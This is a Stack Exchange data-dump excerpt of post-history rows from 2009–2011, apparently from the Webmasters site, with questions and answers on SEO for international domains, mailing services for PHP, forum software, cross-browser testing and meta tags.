  <row Id="24477" PostHistoryTypeId="2" PostId="10890" RevisionGUID="84bafd8f-3b54-43db-b740-078f2d88c34d" CreationDate="2011-03-18T16:28:13.420" UserDisplayName="Toni Michel Caubet" Text="I need one that allowes me to&#xD;&#xA;&#xD;&#xA;- update the mailing list from service From my PHP code&#xD;&#xA;       - sending single new users From my code&#xD;&#xA;- send single messages to specified user From my code&#xD;&#xA;- send 'updates/news' to all users From my code&#xD;&#xA;&#xD;&#xA;Something is telling me to go for feedburner" />
  <row Id="24478" PostHistoryTypeId="1" PostId="10890" RevisionGUID="84bafd8f-3b54-43db-b740-078f2d88c34d" CreationDate="2011-03-18T16:28:13.420" UserDisplayName="Toni Michel Caubet" Text="Most flexible free mailing service to be used with PHP" />
  <row Id="24479" PostHistoryTypeId="3" PostId="10890" RevisionGUID="84bafd8f-3b54-43db-b740-078f2d88c34d" CreationDate="2011-03-18T16:28:13.420" UserDisplayName="Toni Michel Caubet" Text="&lt;php&gt;" />
  <row Id="24480" PostHistoryTypeId="17" PostId="10890" RevisionGUID="ebb6a634-e380-42d0-aa02-f67ec904b2fa" CreationDate="2011-03-19T09:08:52.927" UserId="-1" Comment="from http://stackoverflow.com/questions/5354973/most-flexible-free-mailing-service-to-be-used-with-php" Text="" />
  <row Id="24481" PostHistoryTypeId="17" PostId="10892" RevisionGUID="6761591c-a1a7-462f-a449-264ea23b6e6a" CreationDate="2011-03-19T09:28:58.937" UserId="-1" Comment="from http://stackoverflow.com/questions/449010/seo-international-sites-country-domain-com-or-domain-country/449045#449045" Text="" />
  <row Id="24482" PostHistoryTypeId="17" PostId="10893" RevisionGUID="c26258db-7de5-40a7-a846-9aa37d578634" CreationDate="2011-03-19T09:28:58.937" UserId="-1" Comment="from http://stackoverflow.com/questions/449010/seo-international-sites-country-domain-com-or-domain-country/449082#449082" Text="" />
  <row Id="24483" PostHistoryTypeId="17" PostId="10894" RevisionGUID="36915d67-0e8a-477a-acbb-0fffb25e4437" CreationDate="2011-03-19T09:28:58.937" UserId="-1" Comment="from http://stackoverflow.com/questions/449010/seo-international-sites-country-domain-com-or-domain-country/449213#449213" Text="" />
  <row Id="24484" PostHistoryTypeId="17" PostId="10895" RevisionGUID="cde602e8-2348-43c2-aa3a-b133e6272fe8" CreationDate="2011-03-19T09:28:58.937" UserId="-1" Comment="from http://stackoverflow.com/questions/449010/seo-international-sites-country-domain-com-or-domain-country/449224#449224" Text="" />
  <row Id="24485" PostHistoryTypeId="17" PostId="10896" RevisionGUID="04bf3255-077b-4f89-a7ff-763827b6b390" CreationDate="2011-03-19T09:28:58.937" UserId="-1" Comment="from http://stackoverflow.com/questions/449010/seo-international-sites-country-domain-com-or-domain-country/495211#495211" Text="" />
  <row Id="24486" PostHistoryTypeId="17" PostId="10897" RevisionGUID="7eb27fbb-f9b4-4dd5-bc43-029164fec882" CreationDate="2011-03-19T09:28:58.937" UserId="-1" Comment="from http://stackoverflow.com/questions/449010/seo-international-sites-country-domain-com-or-domain-country/610075#610075" Text="" />
  <row Id="24487" PostHistoryTypeId="17" PostId="10898" RevisionGUID="5e80778a-5e51-42a4-a29e-4fcb50179ea2" CreationDate="2011-03-19T09:28:58.937" UserId="-1" Comment="from http://stackoverflow.com/questions/449010/seo-international-sites-country-domain-com-or-domain-country/610237#610237" Text="" />
  <row Id="24488" PostHistoryTypeId="17" PostId="10899" RevisionGUID="162a19f9-44b4-43a2-974d-e436aebb4900" CreationDate="2011-03-19T09:28:58.937" UserId="-1" Comment="from http://stackoverflow.com/questions/449010/seo-international-sites-country-domain-com-or-domain-country/1383133#1383133" Text="" />
  <row Id="24489" PostHistoryTypeId="17" PostId="10900" RevisionGUID="23f56386-4887-4b8c-bcbe-8ce4c2a286e3" CreationDate="2011-03-19T09:28:58.937" UserId="-1" Comment="from http://stackoverflow.com/questions/449010/seo-international-sites-country-domain-com-or-domain-country/2239074#2239074" Text="" />
  <row Id="24490" PostHistoryTypeId="17" PostId="10901" RevisionGUID="1fa29021-55af-4cf6-94a7-03b011ab1116" CreationDate="2011-03-19T09:28:58.937" UserId="-1" Comment="from http://stackoverflow.com/questions/449010/seo-international-sites-country-domain-com-or-domain-country/3931430#3931430" Text="" />
  <row Id="24491" PostHistoryTypeId="17" PostId="10902" RevisionGUID="eecba31d-0f66-474e-bf31-5fc3f4944bcf" CreationDate="2011-03-19T09:28:58.937" UserId="-1" Comment="from http://stackoverflow.com/questions/449010/seo-international-sites-country-domain-com-or-domain-country/4248570#4248570" Text="" />
  <row Id="24492" PostHistoryTypeId="17" PostId="10903" RevisionGUID="35273e95-3752-4824-9239-23d76eb20666" CreationDate="2011-03-19T09:28:58.937" UserId="-1" Comment="from http://stackoverflow.com/questions/449010/seo-international-sites-country-domain-com-or-domain-country/5361242#5361242" Text="" />
  <row Id="24493" PostHistoryTypeId="2" PostId="10892" RevisionGUID="b20c3e87-e372-4815-8978-1bb1bfbf7a19" CreationDate="2009-01-15T23:56:45.927" UserDisplayName="DavGarcia" Text="Option 1 is recognized by most search engines. Alternatively, you can try finding a host in your target country as some search engines also check the destination IP. A lot more info can be found on an article from last year on [SEOmoz][1].&#xD;&#xA;&#xD;&#xA;For the budget strapped, option 2 will work with Google since the [webmaster tools][2] enables you to target countries by subdomain.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/ugc/geographical-targeting-factors-you-cant-afford-to-overlook&#xD;&#xA;  [2]: http://www.google.com/webmasters/tools" />
  <row Id="24494" PostHistoryTypeId="2" PostId="10893" RevisionGUID="8138e9c0-3ba6-46f3-a00a-6eaab67578a8" CreationDate="2009-01-16T00:18:26.850" UserDisplayName="lubos hasko" Text="Purely from SEO point of view, it's better to have one single domain and move international versions into subfolders (not subdomains) like:&#xD;&#xA;&#xD;&#xA; - stackoverflow.com/us/&#xD;&#xA; - stackoverflow.com/au/&#xD;&#xA; - stackoverflow.com/uk/&#xD;&#xA;&#xD;&#xA;IBM is doing it this way.&#xD;&#xA;&#xD;&#xA;&gt; **Pure.Krone wrote**&#xD;&#xA;&gt; &#xD;&#xA;&gt; But a number of SEO mates have&#xD;&#xA;&gt; suggested that this is a valuable&#xD;&#xA;&gt; waste of folder level space. Er.. how&#xD;&#xA;&gt; can i explain. Ok, it's been suggested&#xD;&#xA;&gt; by some SEO experts that if the number&#xD;&#xA;&gt; of levels or folders in the domain&#xD;&#xA;&gt; exceeds 5 then the page drops&#xD;&#xA;&gt; dramatically in importance.&#xD;&#xA;&#xD;&#xA;It's possible that some search engines could lower page-rank for sites with deep structures because ultimately keyword in URL has likely more weight than keyword on the page. But unless Google or Yahoo confirms this, it's a pure guess by SEO people. Page-rank can drop for many reasons (especially if your site is optimized by SEO experts), maybe they are just wrongly attributing it to deep folder structures. But what's the problem anyway? Just make your folder hierarchy flat just in case.&#xD;&#xA;&#xD;&#xA;One thing we know for sure because it was confirmed by Google a few years ago is that every single domain (no matter what level) is isolated site for page-rank purposes so having all resources under single domain will always improve your page-rank. That's why weblogs.asp.net host all their bloggers in subfolders, so their posts rank very high on Google no matter which blogger wrote them." />
  <row Id="24495" PostHistoryTypeId="2" PostId="10894" RevisionGUID="714a05fc-2033-4386-aacb-b1c524141008" CreationDate="2009-01-16T01:34:57.007" UserId="1396" Text="I'd do it as [lubos hasko said][1], but also (if money allows) purchase all the domains and 301 forward them to the correct site.&#xD;&#xA;&#xD;&#xA;Example, www.stackoverflow.com.au forwards to www.stackoverflow.com/au&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/449010/seo-international-sites-country-domain-com-or-domain-country#449082" />
  <row Id="24496" PostHistoryTypeId="2" PostId="10896" RevisionGUID="86f2f2cd-9d57-4745-8ed2-1ca02410a3bd" CreationDate="2009-01-30T11:26:27.997" UserDisplayName="Alan Doherty" Text="There is a combining effect of all of the above. What really makes a difference is, if&#xD;&#xA;www.company.co.uk  carries entirely different content to www.company.fr  &#xD;&#xA;&#xD;&#xA;If they are largely the same with just some subtle differences {regionalizations/ language etc&#xD;&#xA;then using www.company.co/uk   /fr&#xD;&#xA;might be better in terms of&#xD;&#xA;a css is one template for all 1 mod and all sites change look to suit&#xD;&#xA;graphics/logos&#xD;&#xA;shared content in say english can be loaded from one location to all english uri's as includes&#xD;&#xA;ie say product page with regional variations in {say reccomended use/utility}&#xD;&#xA;/uk/productx/&#xD;&#xA;/us/productx/&#xD;&#xA;/au/productx/&#xD;&#xA;can all have their technical-details link linking to&#xD;&#xA;/en/productx/technical-description &#xD;&#xA;to avoid duplicate content issues&#xD;&#xA;&#xD;&#xA;From a SEO perspective most look at the tld &amp; the hosting country so a .fr hosted in the US will never beat a .fr hosted in france for french market, but a .com/fr hosted in US will get in there if its content beats the other.&#xD;&#xA;&#xD;&#xA;Content is king in SEO all the rest is just tweaking a minor amount and not really worthy of a lot of effort unless it does you or your users any good&#xD;&#xA;the /uk /ie /de etc method is handiest for most users as they land maybe on a /uk and see that from a simple menue option/pulldown list they can flick to the region most suitable to themselves&#xD;&#xA;{obviously offering the folders and not letting users quickly flick from /uk/productx/ to /fr/productx/ is counterproductive and will make the pentire point of folders moot though}" />
  <row Id="24497" PostHistoryTypeId="2" PostId="10897" RevisionGUID="a699be24-7abc-4513-bd64-481500f46f22" CreationDate="2009-03-04T10:49:43.123" UserDisplayName="Andrew Swift" Text="Can you clarify why you would like to create three english-language sites with separate audiences (is it a localized service, for example)? Is there overlap between the three audiences (SEO is more important) or is the Australian site completely useless to UK users?&#xD;&#xA;&#xD;&#xA;Can you confirm that all your content is in English?&#xD;&#xA;&#xD;&#xA;**[added later]** I realize in re-reading the question that **all the sites under consideration are in English.** I'll leave my original answer in case it helps someone else.&#xD;&#xA;&#xD;&#xA;You are much better off having **local domain names** if possible.&#xD;&#xA;&#xD;&#xA;There are multitude of ways to indicate which country you're in, but the domain name is a clear and universally recognizable way to say to search engines where you are.&#xD;&#xA;&#xD;&#xA;As noted in the comments, it's impossible to prove these kinds of statements. However this is a no-risk plan: if it doesn't make a difference you lose nothing, **if it does, you win or lose big.**&#xD;&#xA;&#xD;&#xA;If you have the choice, do it. It's trivially easy to setup using .htaccess and makes managing the site much easier.&#xD;&#xA;&#xD;&#xA;**[original answer]** I manage a large site in three languages. We set it up as /en, /es, etc. after the domain name and **I sincerely regret it**.&#xD;&#xA;&#xD;&#xA;There are several issues, but the main problem we ran into is managing **Page Rank flow** and the **home page**.&#xD;&#xA;&#xD;&#xA;If you have a site in three languages, **the home page is in which?**&#xD;&#xA;&#xD;&#xA;Do you make it a combination of all three languages, or do you pick one?&#xD;&#xA;&#xD;&#xA;Normally a good home page would have lots of **links** to different parts of the site, and a fair amount of **relevant text**.&#xD;&#xA;&#xD;&#xA;In a multi-language environment, do you include all the links and text in all the languages? If not, your site will be **less effective in SEO**. If yes, it's a mess for users.&#xD;&#xA;&#xD;&#xA;The question boils down to Page Rank flow. In a regular single-language site, you want the **home page** to get the juice from the other pages.&#xD;&#xA;&#xD;&#xA;In a multi-language site, **that is no longer clear**. You want a Spanish user to end up on the Spanish homepage in **as few clicks as possible**. Automatic redirection can be penalized.&#xD;&#xA;&#xD;&#xA;We wanted the French site to appear first in French search results, so that users don't have to click through a language selection page. Our experience is that it is necessary to optimize for each language independently.&#xD;&#xA;&#xD;&#xA;Having multiple languages behind a single domain name made it **much more complicated** to say to Google: this is our French site, in French, this is our Spanish site in Spanish, etc. It's mainly a question of Google knowing what language each page is in. Which language specification do you include in the home page header?&#xD;&#xA;&#xD;&#xA;Also, it's true that you are **slightly penalized for deep folder hierarchies** (that being a hallmark of old blackhat SEO).&#xD;&#xA;&#xD;&#xA;By using separate domains, you can **cleanly and easily optimize** each site with good Page Rank flow. If you do use a single domain, the best option we found is just to sacrifice the home page and push the Page Rank to /fr, /es etc.&#xD;&#xA;" />
  <row Id="24498" PostHistoryTypeId="2" PostId="10898" RevisionGUID="38bed3e7-6b82-4e8c-9b1b-6010267c39a4" CreationDate="2009-03-04T11:54:26.743" UserId="1344" Text="Google only associates top-level domains with geographic regions:&#xD;&#xA;&#xD;&#xA;&gt; Sites with country-coded top-level domains (such as `.ie`) are already associated with a geographic region, in this case Ireland.  &#xD;&#xA;&gt; — [Geotargeting - Webmasters/Site owners Help](http://www.google.com/support/webmasters/bin/answer.py?answer=62399)&#xD;&#xA;&#xD;&#xA;&gt; Use top-level domains whenever possible to handle country-specific content. We're more likely to know that .ie indicates Ireland-focused content, for instance, than `http://ie.example.com`, `http://www.example.com/ie`, or `http://www.example.com?country=ie`. If you have a geographically neutral top-level domain (such as `.com`, `.org`, or `.net`), you can use [Webmaster Tools](http://www.google.com/support/webmasters/bin/answer.py?answer=62399) to associate your site with a geographic location.  &#xD;&#xA;&gt; — [Local businesses - Webmasters/Site owners Help](http://www.google.com/support/webmasters/bin/answer.py?answer=92319)&#xD;&#xA;&#xD;&#xA;Microsoft’s Live Search does this as well:&#xD;&#xA;&#xD;&#xA;&gt; Live Search uses information such as the website's IP address and the country or region code top-level domain to determine a website's market and country or region. You can alter this information to reflect the market that you want to target.  &#xD;&#xA;&gt; — [About hosting your website in a different market](http://help.live.com/Help.aspx?market=en-US&amp;project=WL_Webmasters&amp;querytype=topic&amp;query=WL_WEBMASTERS_CONC_HOSTINGOUTSIDEMARKET.HTM)&#xD;&#xA;&#xD;&#xA;But I pefer the all-in-one, country neutral domain with a country specific URL path too." />
  <row Id="24499" PostHistoryTypeId="2" PostId="10895" RevisionGUID="528c09ae-21be-4c69-8e4e-f8ba01287912" CreationDate="2009-01-16T01:39:21.553" UserDisplayName="Adam Taylor" Text="Being hosted in the country *may* help the rankings in the country specific search engine result pages so that is something to bear in mind." />
  <row Id="24500" PostHistoryTypeId="2" PostId="10899" RevisionGUID="2a6c8917-1c54-40c1-800c-1f50f7395386" CreationDate="2009-09-05T11:44:26.143" UserDisplayName="Search Engine Marketing" Text="It's true that you are slightly penalized for deep folder hierarchies (that being a hallmark of old blackhat SEO)&#xD;&#xA;" />
  <row Id="24501" PostHistoryTypeId="2" PostId="10900" RevisionGUID="54a9913d-83e1-46ab-becd-b9cda17f62b5" CreationDate="2010-02-10T17:44:18.910" UserDisplayName="David Vinge" Text="[From Google][1], “If no information is entered in Webmaster Tools, we'll rely largely on the site's country domain (.ca, .de, etc.). If an international domain (.com, .org, .eu, etc) has been used, we'll rely on the IP address.”  So I recommend doing one or more of the following:&#xD;&#xA;&#xD;&#xA;1. Use a country specific domain&#xD;&#xA; &#xD;&#xA;2. Host your site in the targeted country &#xD;&#xA; &#xD;&#xA;3. Tell Google Webmaster Tools and all the other search engines which country you are&#xD;&#xA;targeting. If you are targeting multiple countries be sure to use different directories so you can specify them in Webmaster Tools.&#xD;&#xA;&#xD;&#xA;4. Treat the country name like any important keyword - use it in the URL, title, h1, copy, etc.&#xD;&#xA;&#xD;&#xA;The last point is often neglected and is sometimes your only option.  If your widgets are only available in Canada then say &quot;Widgets in Canada&quot; in the text.  &#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=62399" />
  <row Id="24502" PostHistoryTypeId="2" PostId="10901" RevisionGUID="21376445-4290-496e-8207-0c8c19aab9e2" CreationDate="2010-10-14T08:36:17.290" UserDisplayName="David Ball" Text="To answer your comment in Update #2, Google confirms in this video that the number of subdirectories in a URL does not affect its page ranking. &#xD;&#xA;http://www.youtube.com/user/GoogleWebmasterHelp#p/u/6/l_A1iRY6XTM&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24503" PostHistoryTypeId="2" PostId="10902" RevisionGUID="58a5a8be-51f9-48ae-bc0a-9c83fa8033bd" CreationDate="2010-11-22T17:58:19.657" UserDisplayName="seo uzmani" Text="I think Google should tell us which way is the right way about country tlds, subdomains or folders. &#xD;&#xA;&#xD;&#xA;I tend to believe that creating a folder is more attractive as then you will carry the link power of the main domain name. Otherwise, you will have a do a completely new link building campaign for a new domain name." />
  <row Id="24504" PostHistoryTypeId="2" PostId="10903" RevisionGUID="aed50040-68d3-4b70-92dd-0f3fcfa53071" CreationDate="2011-03-19T09:25:15.487" UserDisplayName="james" Text="what if i had 3 of the same content websites such as win at the races.com......co.uk.....com.us  all hosted in there own folders on web hosting &#xD;&#xA;and summitted to each country with google sites all loaded to webserver one after the other&#xD;&#xA;and set up to run as a sep identity in each country from server could this cause problems&#xD;&#xA;for seo i have reseller web hosting so the cost remains low and the servers hosting ia a usa hosting service your feedback would be much app thankyou james" />
  <row Id="24505" PostHistoryTypeId="2" PostId="10891" RevisionGUID="7604e688-964b-4295-8666-880e2ed50eff" CreationDate="2009-01-15T23:48:05.943" UserId="1341" Text="is it better to have seperate country specific domains (which costs more money) or subdomains which define the country, for better SEO?&#xD;&#xA;&#xD;&#xA;eg.&#xD;&#xA;&#xD;&#xA;  - stackoverflow.com&#xD;&#xA;  - stackoverflow.com.au&#xD;&#xA;  - stackoverflow.co.uk&#xD;&#xA;&#xD;&#xA;vs&#xD;&#xA;&#xD;&#xA;  - stackoverflow.com&#xD;&#xA;  - au.stackoverflow.com&#xD;&#xA;  - uk.stackoverflow.com&#xD;&#xA;&#xD;&#xA;Assumption: int the search engine web master tools, each subdomain are associated to a country.&#xD;&#xA;eg. `au.stackoverflow.com` is associated to the country *Australia*.&#xD;&#xA;&#xD;&#xA;cheers!&#xD;&#xA;&#xD;&#xA;Update&#xD;&#xA;-&#xD;&#xA;I understand that both methods do work, especially when i utilize the assumption, listed above. The question is about: *Which method is better*? Is there such a small SEO difference between them? Is the first method *way way way* better than the second with getting better SEO results?&#xD;&#xA;&#xD;&#xA;Update #2&#xD;&#xA;-&#xD;&#xA;A number of folks have suggested that the following is a good/better approach:&#xD;&#xA;&#xD;&#xA; - stackoverflow.com/&#xD;&#xA; - stackoverflow.com/au&#xD;&#xA; - stackoverflow.com/uk&#xD;&#xA;&#xD;&#xA;&gt; By adding a country specific *iso&#xD;&#xA;&gt; code* to the end of the url/the first&#xD;&#xA;&gt; folder of the domain can be recognised&#xD;&#xA;&gt; as the country.&#xD;&#xA;&#xD;&#xA;But a number of SEO mates have suggested that this is a valuable waste of folder level space. Er.. how can i explain. Ok, it's been suggested by some SEO experts that if the *number of levels or folders in the domain exceeds 5* then the page drops dramatically in importance. Basically, you don't want to make it deep. As such, adding the country as the first level can be considered a waste, especially when it can be handled by the domain OR subdomain - hence the question :)&#xD;&#xA;&#xD;&#xA;So, any more thoughts on this? (Maybe SO is the wrong place to ask this question?)" />
  <row Id="24506" PostHistoryTypeId="1" PostId="10891" RevisionGUID="7604e688-964b-4295-8666-880e2ed50eff" CreationDate="2009-01-15T23:48:05.943" UserId="1341" Text="SEO + international sites? country.domain.com or domain.country?" />
  <row Id="24507" PostHistoryTypeId="3" PostId="10891" RevisionGUID="7604e688-964b-4295-8666-880e2ed50eff" CreationDate="2009-01-15T23:48:05.943" UserId="1341" Text="&lt;seo&gt;" />
  <row Id="24508" PostHistoryTypeId="17" PostId="10891" RevisionGUID="44e793ad-2acf-4d6c-9f4d-ac6c8d930733" CreationDate="2011-03-19T09:28:58.937" UserId="-1" Comment="from http://stackoverflow.com/questions/449010/seo-international-sites-country-domain-com-or-domain-country" Text="" />
  <row Id="24509" PostHistoryTypeId="2" PostId="10904" RevisionGUID="aa4358a4-9bea-4080-b9ef-f9f5147382f1" CreationDate="2011-03-19T10:27:15.817" UserId="6184" Text="Since deploying Janrain Engage to our website, which includes a javascript snippet that is loaded from their servers, I've noticed about 10-15% increase in our bounce rate. I think this is artificial and does not represent a true 'bounce'; what sort of factors might have caused this?" />
  <row Id="24510" PostHistoryTypeId="1" PostId="10904" RevisionGUID="aa4358a4-9bea-4080-b9ef-f9f5147382f1" CreationDate="2011-03-19T10:27:15.817" UserId="6184" Text="What could artificially increase the bounce rate reported in Google Analytics?" />
  <row Id="24511" PostHistoryTypeId="3" PostId="10904" RevisionGUID="aa4358a4-9bea-4080-b9ef-f9f5147382f1" CreationDate="2011-03-19T10:27:15.817" UserId="6184" Text="&lt;google-analytics&gt;&lt;javascript&gt;" />
  <row Id="24512" PostHistoryTypeId="2" PostId="10905" RevisionGUID="8783b976-89e5-43a0-92fc-9f26393c1c02" CreationDate="2011-03-19T11:07:38.917" UserId="6184" Text="We're looking at moving our website from http://www.wikijob.co.uk to http://www.wikijob.com/uk as we spread our wings internationally.&#xD;&#xA;&#xD;&#xA;Our .co.uk website has a PR6 and received around 1/2 million visitors a month, 40% international. The wikijob.com domain, while registered for a while, has not been used nor promoted.&#xD;&#xA;&#xD;&#xA;I am concerned that moving domain could really haemorrhage our traffic and result in a loss of goodwill from Google, even if we use a 301, but equally, if we could transfer that pagerank to the .com domain, that would give us a massive head start around the world.&#xD;&#xA;&#xD;&#xA;Should we do it, or should we start over with .com and leave .co.uk as is?" />
  <row Id="24513" PostHistoryTypeId="1" PostId="10905" RevisionGUID="8783b976-89e5-43a0-92fc-9f26393c1c02" CreationDate="2011-03-19T11:07:38.917" UserId="6184" Text="SEO disasters moving domain for a high traffic website?" />
  <row Id="24514" PostHistoryTypeId="3" PostId="10905" RevisionGUID="8783b976-89e5-43a0-92fc-9f26393c1c02" CreationDate="2011-03-19T11:07:38.917" UserId="6184" Text="&lt;seo&gt;&lt;domains&gt;&lt;301-redirect&gt;" />
  <row Id="24515" PostHistoryTypeId="2" PostId="10906" RevisionGUID="0fe1e965-4c07-4888-8279-6ec589279f5d" CreationDate="2011-03-19T11:09:21.740" UserId="6184" Text="We visual website optimizer http://visualwebsiteoptimizer.com and there is a drupal module for that too, it's made us convert a good deal better, can't recommend it enough." />
  <row Id="24516" PostHistoryTypeId="2" PostId="10907" RevisionGUID="fc6c7edb-11d0-48cb-a4e9-f175419bb293" CreationDate="2011-03-19T11:12:31.610" UserId="6184" Text="vBulletin is a winner for this sort of thing. It's been around for ages and is well maintained, and has loads of great features that you don't get with the free ones e.g. phpBB. Also the SEO module for it is was what gave our site the initial kickstart it needed. Eventually we moved to Drupal (as we expanded into a bigger site), and Vbulletin was easy to port away from.&#xD;&#xA;&#xD;&#xA;We started with vBulletin, now we run a company of 8 people and growing." />
  <row Id="24517" PostHistoryTypeId="2" PostId="10908" RevisionGUID="5bbfdd23-39ea-4ef2-9cc0-2fa928d64410" CreationDate="2011-03-19T11:16:11.560" UserId="6184" Text="I use VirtualBox to run copies of Windows XP with each browser installed on it. It's not 'ideal', but it works for me, and is very easy to set up and use. It is also likely the best reflection of what the browser is actually like on a particular OS." />
  <row Id="24518" PostHistoryTypeId="2" PostId="10909" RevisionGUID="c32f004f-e26b-48fb-93ea-b27e280567e4" CreationDate="2011-03-19T11:28:23.433" UserId="6184" Text="phplist might be worth a look.&#xD;&#xA;&#xD;&#xA;We use mailchimp for the mailing list sending, and postmark for the single email sending." />
  <row Id="24519" PostHistoryTypeId="25" PostId="10904" RevisionGUID="8d155799-d9a1-4539-951c-284c238ca9fa" CreationDate="2011-03-19T11:30:24.913" Comment="http://twitter.com/#!/StackWebmasters/status/49070212145885184" />
  <row Id="24520" PostHistoryTypeId="2" PostId="10910" RevisionGUID="cfc357e1-1d65-4529-a4ea-c812f6180ba6" CreationDate="2011-03-19T11:32:35.307" UserId="1757" Text="If you're alright with simply a visual check, you can use Adobe's [BrowserLab][1]. It's part of the CS Live suite of online services offered by Adobe. Right now you can get 12 months free membership of CS Live, so in the short term it's a good free solution. You can run tests on multiple browser/OS combinations simultaneously and see the rendering differences by comparing them side-by-side.&#xD;&#xA;&#xD;&#xA;However, it's always best to have actual test machines (or VMs), as Browserlab can't tell you if the JavaScript is broken or help you debug CSS or markup errors. It will only tell you that the layout isn't rendering properly in a particular platform. But it's nice to be able to type in a URL an get full-size screenshots of the webpage on most major OS/browser combinations in an instant.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://browserlab.adobe.com/en-us/index.html" />
  <row Id="24521" PostHistoryTypeId="2" PostId="10911" RevisionGUID="248c3b5f-42ee-400c-9df8-124f02c83a3a" CreationDate="2011-03-19T07:49:03.463" UserDisplayName="fatty" Text="What is the use of BIND software in registration?" />
  <row Id="24522" PostHistoryTypeId="1" PostId="10911" RevisionGUID="248c3b5f-42ee-400c-9df8-124f02c83a3a" CreationDate="2011-03-19T07:49:03.463" UserDisplayName="fatty" Text="BIND - DNS registration" />
  <row Id="24523" PostHistoryTypeId="3" PostId="10911" RevisionGUID="248c3b5f-42ee-400c-9df8-124f02c83a3a" CreationDate="2011-03-19T07:49:03.463" UserDisplayName="fatty" Text="&lt;linux&gt;&lt;dns&gt;" />
  <row Id="24524" PostHistoryTypeId="17" PostId="10911" RevisionGUID="028a9215-1618-4f46-87ea-ad2de286b238" CreationDate="2011-03-19T11:39:36.357" UserId="-1" Comment="from http://stackoverflow.com/questions/5360855/bind-dns-registration" Text="" />
  <row Id="24525" PostHistoryTypeId="2" PostId="10912" RevisionGUID="05f8b007-b676-46e5-831d-520baafb33ed" CreationDate="2011-03-19T12:07:11.113" UserId="5137" Text="I think it wont be a problem.&#xD;&#xA;&#xD;&#xA;for more information &#xD;&#xA;http://www.google.com/support/webmasters/bin/answer.py?answer=83106" />
  <row Id="24526" PostHistoryTypeId="2" PostId="10913" RevisionGUID="756c9f7c-096d-45fd-9900-68a95008365e" CreationDate="2011-03-19T12:15:37.440" UserId="5137" Text="when it comes to forum script, I definitely recommend vBulletin.&#xD;&#xA;Few reasons :&#xD;&#xA;&#xD;&#xA; - There are many number of plugins&#xD;&#xA;   available ( most of them are free )&#xD;&#xA; - Theming it is also easy and you can&#xD;&#xA;   also find excellent skins ( both free&#xD;&#xA;   and paid) .&#xD;&#xA; - Regarding security , they release&#xD;&#xA;   updates frequently and they also offer help via email and forums. The community is pretty good and helpful.&#xD;&#xA;&#xD;&#xA;Regarding the features that you want :&#xD;&#xA;&#xD;&#xA;You can easily set permissions who can view/edit/delete threads via group settings and also you can edit the permissions individually.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24527" PostHistoryTypeId="2" PostId="10914" RevisionGUID="2d1c6e42-3fab-4626-9201-b46f877d2137" CreationDate="2011-03-19T12:29:35.213" UserId="4322" Text="Your content looks like it's very regionalised. i.e content is relevant to a region.&#xD;&#xA;&#xD;&#xA;Personally I would go for a domain per region and make sure each domain contains the content relevant to that region.&#xD;&#xA;&#xD;&#xA;So keep the .co.uk and add a .com. Then move US content to the .com and start cross promoting your domains.&#xD;&#xA;&#xD;&#xA;If you do go the /uk sub folder path then make sure you use Google Web Master Tools to have each folder target the region they relate to. Note you can only do this with Google, all other search engines will target the region your website is hosted at." />
  <row Id="24528" PostHistoryTypeId="2" PostId="10915" RevisionGUID="67019aa9-6faa-4ce9-a2ca-4ef6caa12fb2" CreationDate="2011-03-19T12:45:02.423" UserId="6186" Text="From a SEO point of view, is it wise to use exactly the same page `title` value and `keyword`/`description` meta tag values not only as _meta information_, but also as _page content_?&#xD;&#xA;&#xD;&#xA;An example illustrates what I mean. Thanks for any answer, best regards.&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01//EN&quot;&#xD;&#xA;            &quot;http://www.w3.org/TR/html4/strict.dtd&quot;&gt;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;    &lt;title&gt;Meta tags again. Good or bad to use them as page content?&lt;/title&gt;&#xD;&#xA;    &lt;meta name=&quot;DESCRIPTION&quot; content=&quot;Why it is wise to use (or not) page title, meta tags description and keyword values as page content.&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;KEYWORDS&quot; content=&quot;seo,meta,tags,cms,content&quot;&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    &lt;h1&gt;Meta tags again. Good or bad to use them as page content?&lt;/h1&gt;&#xD;&#xA;    &lt;h2&gt;Why it is wise to use (or not) page title, meta tags description and keyword values as page content.&lt;/h2&gt;&#xD;&#xA;    &lt;ul&gt;&#xD;&#xA;    &lt;li&gt;&lt;a href=&quot;http://webmasters.stackexchange.com/questions/tagged/seo&quot;&gt;seo&lt;/a&gt;&#xD;&#xA;    &lt;li&gt;&lt;a href=&quot;http://webmasters.stackexchange.com/questions/tagged/meta&quot;&gt;meta&lt;/a&gt;&#xD;&#xA;    &lt;li&gt;&lt;a href=&quot;http://webmasters.stackexchange.com/questions/tagged/tags&quot;&gt;tags&lt;/a&gt;&#xD;&#xA;    &lt;li&gt;&lt;a href=&quot;http://webmasters.stackexchange.com/questions/tagged/cms&quot;&gt;cms&lt;/a&gt;&#xD;&#xA;    &lt;li&gt;&lt;a href=&quot;http://webmasters.stackexchange.com/questions/tagged/content&quot;&gt;content&lt;/a&gt;&#xD;&#xA;    &lt;/ul&gt;&#xD;&#xA;    &lt;p&gt;Read the discussion on &lt;a href=&quot;#&quot;&gt;webmasters.stackexchange.com&lt;/a&gt;.&#xD;&#xA;    &#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;" />
  <row Id="24529" PostHistoryTypeId="1" PostId="10915" RevisionGUID="67019aa9-6faa-4ce9-a2ca-4ef6caa12fb2" CreationDate="2011-03-19T12:45:02.423" UserId="6186" Text="Meta tags again. Good or bad to use them as page content?" />
  <row Id="24530" PostHistoryTypeId="3" PostId="10915" RevisionGUID="67019aa9-6faa-4ce9-a2ca-4ef6caa12fb2" CreationDate="2011-03-19T12:45:02.423" UserId="6186" Text="&lt;seo&gt;&lt;cms&gt;&lt;content&gt;&lt;tags&gt;&lt;meta&gt;" />
